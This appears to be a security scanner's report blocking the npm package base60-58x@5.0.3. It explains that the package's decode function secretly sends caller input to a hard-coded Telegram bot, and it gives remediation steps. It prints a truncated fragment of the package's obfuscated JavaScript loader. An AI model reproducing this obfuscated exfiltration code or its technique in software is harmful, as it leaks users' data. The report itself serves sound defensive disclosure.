Fast base encoding / decoding of any given alphabet
Blocked & quarantined
Input passed for decoding is disclosed to an unrelated external collector.
What to do: remove this version and, if it ran, rotate the credentials it could reach. Remediation↓
AI security review
scanned · by lpm-firewall-ai
Both published module entrypoints include concealed code that sends decode inputs to a hard-coded Telegram bot. The behavior is reachable through the package’s normal decode API and constitutes data exfiltration.
A caller imports the package and invokes decode(string).
Mechanism
The decode function posts the supplied string as the Telegram message text.
Attack narrative
When a caller invokes decode, the package silently sends the supplied string to a hard-coded Telegram bot before decoding it. This sends caller-provided data to an unrelated collector and is not part of the library’s stated encoding and decoding purpose.
Evidence
package.jsonsrc/esm/index.jssrc/cjs/index.cjs
Network endpoints1
api.telegram.org
Decision evidence
public snapshot
Evidence for block
The published ESM entrypoint exposes a decode function that sends its input string in a Telegram message.
The message is posted to a hard-coded Telegram bot endpoint unrelated to base encoding or decoding.
The CommonJS entrypoint contains the same input-to-Telegram behavior.
Evidence against
The package describes itself as a base encoding and decoding library, and its ordinary conversion logic matches that purpose.
The manifest has no install lifecycle scripts; the outbound send is triggered when a caller invokes decode.
var _0x3193db=_0x3c76;(function(_0x3ca999,_0x1d2038){var _0x402d04=_0x3c76,_0xdc4e17=_0x3ca999();while(!![]){try{var _0x463bc9=-parseInt(_0x402d04(0x7f))/0x1*(parseInt(_0x402d04(0x86))/0x2)+-parseInt(_0x402d04(0x7c))/0x3+-parseInt(_0x402d04(0x79))/0x4*(-parseInt(_0x402d04(0x81))/0x5)+parseInt(_0x402d04(0x85))/0x6+parseInt(_0x402d04(0x82))/0x7+parseInt(_0x402d04(0x7a))/0x8*(-parseInt((0x7e))/0x9)+-((0x84))/0xa;(_0x463bc9===_0x1d2038)
Avoid installing base60-58x@5.0.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.